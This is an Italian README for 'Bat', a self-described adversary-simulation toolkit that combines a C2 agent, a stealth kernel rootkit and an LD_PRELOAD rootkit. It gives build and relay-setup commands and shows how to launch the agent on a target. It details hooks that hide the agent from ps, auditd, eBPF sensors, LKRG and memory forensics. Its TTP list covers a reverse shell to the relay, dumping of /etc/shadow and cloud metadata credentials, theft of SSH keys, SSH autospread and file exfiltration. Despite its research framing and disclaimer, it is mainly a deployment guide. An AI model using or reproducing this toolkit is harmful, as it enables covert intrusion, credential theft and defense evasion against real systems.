BAT è un modello di minaccia avversario realistico e in evoluzione per Linux e Windows. Non è un framework C2 e non è un rootkit. È una piattaforma completa di simulazione di minacce che integra comunicazione C2, moduli rootkit stealth a livello di kernel, evasione nello spazio utente, escalation dei privilegi, persistenza, iniezione di processi, raccolta di credenziali, esfiltrazione e movimento laterale in un unico avversario coeso. L'obiettivo progettuale è essere la minaccia Linux più sofisticata e realistica realizzabile nel 2026, indipendentemente da ciò che qualsiasi sistema di rilevamento cattura attualmente.
È il lato avversario di una coppia di ricerca. Il framework Aura si evolve per rilevare Bat. Bat si evolve per eludere Aura. L'avversario non è mai vincolato dal rilevatore.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. Configura```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
Genera un segreto: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
I file binari finiscono in `bin/`.
### 4. Avvia il relay```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
Distribuisci un agente sul target:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Agent appears in bat-server as <agentID>@<hostname> entro un intervallo di beacon (predefinito 30s).
Il livello stealth del kernel (bat-stealth.ko, sorgente in kperf-qos/) è costruito direttamente sopra Singularity, un framework avanzato di ricerca sui rootkit del kernel. Quattro moduli principali sono stati portati e adattati:
bpf_hook: Intercetta bpf(2) e tutte le primitive di comunicazione eBPF. Qualsiasi sensore eBPF riceve zero telemetria per i PID nascosti. Adattato: ARCH_SYS("bpf") sostituisce il __x64_sys_bpf (solo x86); __ia32_sys_bpf rimosso per ARM64; HIDDEN_PORT sostituito da un globale configurabile via sysfs.
hiding_fs: Occultamento completo del filesystem: filtro di getdents64/getdents, regolazione di nlink per stat/statx/newfstatat, blocco di /proc/<pid> in openat/access/faccessat, blocco di chdir e readlink. Unione di cinque moduli di Singularity (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). Adattato: le macro sostituiscono l'accesso diretto ai registri; estesa per i configurati a runtime.
hide_module: Rimuove bat-stealth.ko da tutte le liste dei moduli del kernel. Esteso: Singularity salva già list.prev; questa versione salva sia list.prev che list.next e li avvelena entrambi per bloccare l'attraversamento in entrambe le direzioni. Aggiunta module_unhide() per una rimozione reversibile, richiesta da K-99 prima che delete_module(2) possa individuare il modulo per nome.
lkrg_bypass: Sopprime l'applicazione di LKRG per i processi nascosti: aggancia la consegna dei segnali per bloccare SIGKILL per i task nascosti, aggancia vprintk_emit per eliminare i messaggi di log di LKRG, disabilita la validazione UMH durante l'esecuzione dell'agente. Portato direttamente senza modifiche architetturali.
I seguenti moduli sono stati sviluppati indipendentemente:
become_root: hook del segnale 59 che chiama commit_creds(prepare_kernel_cred(NULL)) per concedere uid=0 (K-03)selfdefense: blocca l'acquisizione di memoria LiME, nasconde le voci di kallsyms, blocca i kprobe sui simboli dell'agente, ri-nasconde il modulo a ogni tentativo di enumerazioneaudit: sopprime gli eventi auditd per i PID nascostisysrq_hook: intercetta SysRq-T per escludere i processi nascosti dai dump dei tasktaskstats_hook: filtra le risposte NETLINK taskstats per i PID nascostireset_tainted + clear_taint_dmesg: azzera /proc/sys/kernel/tainted e filtra le righe di dmesg che contengono prove del caricamento del modulohooks_write: intercetta tutti i percorsi di scrittura del kernel (write/splice/sendfile/tee + io_uring_enter/enter2 + compat ia32) per eliminare le voci di log che corrispondono alle stringhe dell'agente prima che raggiungano syslog o journaldpid_manager: tracepoint di fork per mantenere l'insieme dei PID nascosti nei processi figliL'intero stack rende l'agente e tutti i suoi artefatti invisibili a: ps, top, ss, netstat, lsof, l'attraversamento del filesystem sui percorsi nascosti, lsmod, sysfs, kallsyms, auditd, tutti i sensori eBPF, LKRG, LiME e l'analisi forense SysRq.
---``` Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| Componente | Ruolo |
|---|---|
| `bat-agent` | Agente. Invia beacon, esegue TTP. Offuscato con Garble. |
| `bat-server` | Console operatore. CLI interattiva. Gestisce tutti gli agenti. |
| `netshell` | Binario di distribuzione. Sembra uno strumento di sistema; è un agente completo. |
| `bat-rootkit.so` | Rootkit userspace LD_PRELOAD. Nasconde file, PID, porte, variabili d'ambiente. |
| `bat-stealth.ko` | Livello stealth del kernel (basato su Singularity). |
| `kcc-server` | Servizio relay. Compila `bat-stealth.ko` on demand per il kernel in esecuzione sul target. |
| `relay/` | Infrastruttura relay: nginx, TLS, setup, sync, script di distribuzione. |
---
## Difese aggirate
| Categoria | Difesa | Meccanismo di bypass |
|---|---|---|
| Monitoraggio dei processi | Elencazione tramite `ps` / `top` / `/proc` | `hiding_procs.c`: l'hook `getdents64` rimuove le voci PID dell'agente dal procfs prima che lo userspace le legga |
| Monitoraggio dei processi | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: l'hook `filldir` filtra i prefissi PID da tutti i risultati readdir |
| Filesystem | `ls` / `find` su file e directory dell'agente | `hiding_fs.c`: hook `getdents64`/`getdents` sui percorsi target; nlink di stat adeguato di conseguenza |
| Filesystem | Rilevamento tramite `lsattr` / `chattr` | `hiding_fs.c`: intercettazione di `ioctl` sui percorsi dei file dell'agente |
| Filesystem | Elencazione tramite `/proc/modules` / `lsmod` | `hiding_module.c`: rimuove la voce `bat-stealth.ko` da tutti gli elenchi di moduli di sysfs e procfs |
| Rete | Elencazione delle porte tramite `ss` / `netstat` | `hiding_net.c`: gli hook `tcp4_seq_show`/`tcp6_seq_show` rimuovono le voci delle porte C2 dall'output |
| Rete | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: l'intercettazione della lettura di seq_file elimina le righe dei socket C2 |
| Log | Percorso di scrittura di `syslog` / `journald` | `hooks_write.c`: intercettazione di `write`/`splice`/`sendfile`/`tee`; le voci di log che corrispondono alle stringhe dell'agente vengono scartate nel kernel |
| Log | Percorso di scrittura asincrona `io_uring` | `hooks_write.c`: `io_uring_enter`/`io_uring_enter2` intercettati; coperto il percorso di compatibilità ia32 |
| Sicurezza del kernel | `rkhunter` / `chkrootkit` | Modulo nascosto da `/proc/modules`; file dell'agente nascosti dal filesystem; zero warning verificati |
| Sicurezza del kernel | ClamAV | Offuscamento Garble `-literals -tiny` + nessuna stringa in chiaro incorporata; 0 rilevamenti verificati (DB 2026-04-20) |
| EDR / eBPF | Sensori basati su eBPF che leggono `/proc` | Gli hook di occultamento intercettano a livello di kernel prima che vengano prodotti gli eventi del ring buffer eBPF |
| Introspezione del kernel | `ftrace` / `kprobes` sui simboli dell'agente | Il modulo `selfdefense` blocca l'aggancio delle kprobe agli indirizzi delle funzioni dell'agente |
| Forensics del kernel | Acquisizione della memoria LiME | `selfdefense` blocca il caricamento del modulo LiME e l'accesso ai dispositivi di memoria raw |
| Forensics del kernel | Dump dei task SysRq-T | `sysrq_hook` esclude i processi nascosti dall'elenco dei task scritto da SysRq-T |
| Forensics del kernel | NETLINK taskstats | `taskstats_hook` filtra le risposte taskstats NETLINK per i PID nascosti |
| Integrità del kernel | Enforcement di LKRG | `lkrg_bypass` sopprime la consegna di `SIGKILL` di LKRG ed elimina i messaggi di log di LKRG |
| Sottosistema di audit | Registrazione delle syscall di `auditd` | Il modulo `audit` sopprime gli eventi di audit per tutti i PID nascosti a livello di audit del kernel |
---
## Hook delle syscall
Tutti gli hook vengono installati da `bat-stealth.ko` tramite ftrace al momento del caricamento. Le voci ia32 sono compilate solo su x86_64 (`#ifdef ARCH_SYS_IA32`).
| Syscall / Funzione | Modulo | Scopo |
|---|---|---|
| `getdents64` | `hiding_procs.c` | Nasconde i PID dell'agente dagli elenchi delle directory `/proc` |
| `getdents` | `hiding_procs.c` | Compatibilità 32-bit: nasconde i PID dell'agente |
| `filldir` (readdir) | `hiding_procs.c` | Filtro supplementare delle voci proc per i chiamanti readdir legacy |
| `getdents64` | `hiding_fs.c` | Nasconde i file dell'agente dagli elenchi delle directory |
| `getdents` | `hiding_fs.c` | Compatibilità 32-bit: nasconde i file dell'agente |
| `ia32_getdents64` | `hiding_fs.c` | Syscall di compatibilità x86 |
| `ia32_getdents` | `hiding_fs.c` | Syscall di compatibilità x86 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | Intercettazioni stat a 32 bit per i percorsi nascosti |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | Intercettazioni open/access a 32 bit |
| `ia32_readlink` | `hiding_fs.c` | Intercettazione readlink a 32 bit |
| `ia32_chdir` | `hiding_fs.c` | Intercettazione chdir a 32 bit |
| `ioctl` | `hiding_fs.c` | Intercetta l'ioctl `lsattr`/`chattr` sui percorsi dell'agente |
| `tcp4_seq_show` | `hiding_net.c` | Nasconde le voci delle porte C2 da `/proc/net/tcp` |
| `tcp6_seq_show` | `hiding_net.c` | Nasconde le voci delle porte C2 da `/proc/net/tcp6` |
| `bpf` | `bpf_hook.c` | Zero telemetria per i PID nascosti in tutti i programmi eBPF |
| `write` | `hooks_write.c` | Elimina le voci di log contenenti stringhe dell'agente prima che raggiungano syslog |
| `splice` | `hooks_write.c` | Stessa intercettazione tramite il percorso splice |
| `sendfile` | `hooks_write.c` | Stessa intercettazione tramite il percorso sendfile |
| `tee` | `hooks_write.c` | Stessa intercettazione tramite il percorso tee |
| `io_uring_enter` | `hooks_write.c` | Intercettazione della scrittura asincrona io_uring |
| `io_uring_enter2` | `hooks_write.c` | Intercettazione della scrittura asincrona io_uring (syscall v2) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | Eredita lo stato nascosto attraverso `fork`/`clone` |
| `vprintk_emit` | `lkrg_bypass.c` | Elimina i messaggi di log del kernel di LKRG |
| `finit_module` / `init_module` | agent (kcc loader) | Caricamento fileless del modulo del kernel tramite `memfd_create` + fd anonimo |
---
## Riferimento TTP
| TTP | Nome | Descrizione |
|---|---|---|
| 1 | masquerade | Rinomina il comm del processo in `kworker/0:1` (o personalizzato) |
| 2 | reverse_shell | Shell TCP inversa verso relay:4445 |
| 3 | memory_rwx | Alloca memoria RWX anonima (sonda di rilevamento) |
| 4 | shell_exec | Esegue un comando shell arbitrario |
| 5 | beacon | Forza un check-in extra immediato |
| 6 | persist | Installa la persistenza (cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | Raccoglie `/etc/shadow`, cronologia bash, segreti d'ambiente, AWS IMDS |
| 9 | exec_chain | Genera una catena di processi (sonda di rilevamento) |
| 10 | install_rootkit | Distribuisce `bat-rootkit.so` tramite `/etc/ld.so.preload` |
| 11 | inject + exit | Inietta i thread beacon + rawsock in un processo in esecuzione, poi si autotermina |
| 20 | network_recon | Tabella ARP + scansione TCP :22 della sottorete locale |
| 21 | ssh_harvest | Raccoglie chiavi private, known_hosts, authorized_keys, config |
| 22 | lateral_move | Invia se stesso tramite SCP all'host scoperto via SSH, esegue in modo distaccato |
| 23 | creddump_full | Raccolta estesa di credenziali + fingerprint dell'ambiente |
| 30 | exfil-file | Legge un file arbitrario e trasmette blocchi base64 sul canale beacon |
| 31 | exfil-dir | Esegue tar+gzip di una directory ed esfiltra sul canale beacon |
| 32 | exfil-auto | Monitora i percorsi configurati ed esfiltra automaticamente al cambiamento |
| 34 | netmap | Scansiona un CIDR /16 per host attivi e porte aperte |
| 35 | autospread | Movimento laterale SSH verso gli host scoperti usando le chiavi raccolte; copia l'agente e lo esegue in modalità distaccata |
| 36 | smbprobe | Sonda sulla porta SMB (:445) per i candidati al movimento laterale |
| 99 | kill | Auto-terminazione silenziosa |
| 222 | destruct | Rimuove tutti gli artefatti, cancella la memoria, esce |
| 1003 | K-03 (privesc) | Il segnale kernel 59 attiva `commit_creds` verso uid=0 |
| 1099 | K-99 (unload) | Scaricamento in due fasi di `bat-stealth.ko` tramite sysfs + `delete_module(2)` raw |
Comandi della console (nel prompt di `bat-server`):
- `kill`: TTP 99 verso tutti gli agenti
- `destruct`: TTP 222 verso tutti gli agenti
- `destruct @<agentID>`: pulizia mirata
---
### KCC: Cache di compilazione del kernel
`bat-stealth.ko` viene compilato on demand per il kernel in esecuzione sul target. L'agente automatizza l'intero flusso a runtime; non è richiesto alcun modulo precompilato per ciascun target:
1. **Rileva il kernel**: l'agente legge `/proc/version` per ottenere la stringa esatta di `uname -r`.
2. **Richiede la compilazione**: l'agente invia la stringa del kernel a `kcc-server` (`:9444`) con una richiesta firmata HMAC.
3. **kcc-server compila**: il server compila `bat-stealth.ko` contro gli header del kernel corrispondenti e mette in cache il risultato tramite hash del kernel.
4. **Riceve i byte del modulo**: il `.ko` compilato viene restituito nel corpo della risposta.
5. **Caricamento fileless**: l'agente crea un file di memoria anonimo (`memfd_create`, syscall 279 su x86_64 / 319 su ARM64), scrive i byte del modulo, quindi chiama `finit_module` (syscall 273 / 313) con una stringa di parametri vuota.
6. **Registrazione**: il modulo registra tutti gli hook e si nasconde da sysfs/procfs entro pochi millisecondi.
Nessun file `.ko` viene scritto su disco in nessun momento. Il modulo sparisce da `/proc/modules` immediatamente dopo il caricamento.
**Kernel minimo:** 6.x (sonda K-00; l'agente salta il caricamento stealth sui kernel più vecchi).
**Testato:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP).
---
## Profili di build```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
All profiles require SECRET=. Override relay IP with RELAY=<ip>.
SHA-256(secret); i replay vengono rifiutati lato server.-literals in fase di compilazione. -X ldflags volutamente evitato (i valori degli ldflag appaiono in chiaro nei binari).bat-server.relay/static/ è la facciata pubblica del relay. La release include un semplice segnaposto. Sostituisci index.html e le pagine di supporto con la tua identità di copertina prima di eseguire sync.sh. Gli script di consegna (static/i, static/api/setup, static/api/v1/index.json) usano __CDN_DOMAIN__ come segnaposto; imposta CDN_DOMAIN= in build.env e sync.sh lo sostituirà automaticamente. Aggiorna relay/nginx/bat.conf con il dominio reale in server_name e i percorsi dei certificati TLS prima del primo deploy di nginx.
Il profilo CDN instrada il traffico degli agent attraverso un livello di proxy perimetrale. L'agente si connette al dominio CDN via HTTPS; il proxy inoltra il traffico al listener locale del relay attraverso il tunnel inverso SSH. Da una prospettiva di rete, tutto il traffico degli agent origina dagli intervalli IP perimetrali del CDN piuttosto che dalla VPS del relay.
---
Quando un target scarica il binario dell'agente dall'endpoint CDN, un avviso di consegna viene inviato istantaneamente a un canale Telegram configurato. La notifica include: IP di origine, timestamp, percorso della richiesta, architettura rilevata (x86_64/arm64), dimensione del file, stringa User-Agent e identificatore dell'edge CDN.
Il demone delivery-alert.service segue il log di accesso di nginx e scatta su qualsiasi hit contro il percorso di download honeypot. Configuralo durante il bootstrap del relay:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
Le credenziali vengono scritte in `/etc/bat/tg.env` sul relay e propagate a tutti i target di sincronizzazione tramite `sync.sh --tg`. Il servizio si avvia automaticamente e sopravvive ai riavvii del relay.
---
## Dichiarazione di non responsabilità
Questo software è sviluppato esclusivamente per ricerca di sicurezza autorizzata, simulazione di avversari in ambienti di laboratorio controllati e sviluppo di capacità di rilevamento e risposta. Contiene implementazioni funzionali di tecniche offensive, tra cui rootkit a livello di kernel, iniezione di processi, raccolta di credenziali e movimento laterale. L'installazione su qualsiasi sistema senza esplicita autorizzazione scritta del proprietario del sistema è illegale ai sensi delle leggi applicabili in materia di frode e abuso informatico nella maggior parte delle giurisdizioni.
Gli autori non si assumono alcuna responsabilità per danni, conseguenze legali o pregiudizi derivanti da un uso non autorizzato, negligente o doloso di questo software. Utilizzando questo software, dichiari di essere un professionista della sicurezza qualificato che opera in un ambito lecito e autorizzato, e che la piena responsabilità legale ed etica del suo utilizzo ricade esclusivamente su di te.
Questo software non deve essere ridistribuito, pubblicato o divulgato a terze parti senza il preventivo consenso scritto.
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ATT&CK ID | Tecnica | Implementazione Bat |
|---|
| T1036.005 | Masquerading: Match Legitimate Name | TTP 1: prctl(PR_SET_NAME) a kworker/0:1 |
| T1055 | Process Injection | TTP 11: shellcode + thread rawsock iniettati in un processo in esecuzione |
| T1205.001 | Traffic Signaling (Magic Packet) | Trigger UDP/ICMP che risveglia l'agente dalla dormienza |
| T1071.001 | Web Protocols C2 | Beacon HTTPS su :443 o :9443 |
| T1573.001 | Encrypted Channel: Symmetric | Beacon autenticati HMAC-SHA256 su TLS |
| T1090.004 | Proxy: Domain Fronting | Il profilo CDN instrada il traffico dell'agente attraverso uno strato di proxy periferico |
| T1574.006 | Hijack Execution: LD_PRELOAD | TTP 10: bat-rootkit.so tramite /etc/ld.so.preload |
| T1014 | Rootkit | bat-stealth.ko: nasconde PID, porte, file, modulo e se stesso |
| T1562.001 | Impair Defenses: Disable Tools | bpf_hook acceca i sensori eBPF; lkrg_bypass disabilita LKRG |
| T1562.012 | Impair Defenses: Disable Linux Audit | il modulo audit sopprime gli eventi auditd per i PID nascosti |
| T1068 | Privilege Escalation via Exploitation | K-03: il segnale 59 innesca commit_creds per uid=0 |
| T1543.002 | Create/Modify System Process: Systemd | TTP 6: persistenza tramite unità systemd |
| T1053.003 | Scheduled Task: Cron | TTP 6: persistenza tramite crontab |
| T1070.002 | Clear Linux Logs | clear_taint_dmesg filtra dmesg; reset_tainted azzera il flag di taint; hooks_write elimina le voci di log nel kernel |
| T1070.004 | Indicator Removal: File Deletion | TTP 222 destruct: cancellazione completa degli artefatti |
| T1003 | Credential Dumping | TTP 7/23: /etc/shadow, cronologia della shell, segreti d'ambiente |
| T1552.004 | Unsecured Credentials: Private Keys | TTP 21: chiavi SSH, known_hosts, config |
| T1552.005 | Cloud Instance Metadata | TTP 23: raccolta di credenziali AWS IMDS |
| T1018 | Remote System Discovery | TTP 20/34: enumerazione ARP + scansione CIDR /16 |
| T1046 | Network Service Scanning | TTP 20/34: scansione delle porte TCP degli host individuati |
| T1021.004 | Lateral Movement via SSH | TTP 22/35: SCP di sé stesso verso l'host individuato, esecuzione distaccata |
| T1078 | Valid Accounts | TTP 22/35: il movimento laterale usa le chiavi SSH raccolte |
| T1048 | Exfiltration Over Alternative Protocol | TTP 30/31/32: esfiltrazione di file e directory tramite il canale di beacon |
| T1059.004 | Unix Shell Execution | TTP 4: esecuzione arbitraria di comandi |
| T1027 | Obfuscated Files or Information | garble -literals -tiny -seed=random; codifica XOR(0x5A) della configurazione |
| T1620 | Reflective Code Loading | TTP 11: shellcode eseguito nello spazio degli indirizzi del processo target; bat-stealth.ko caricato tramite memfd_create |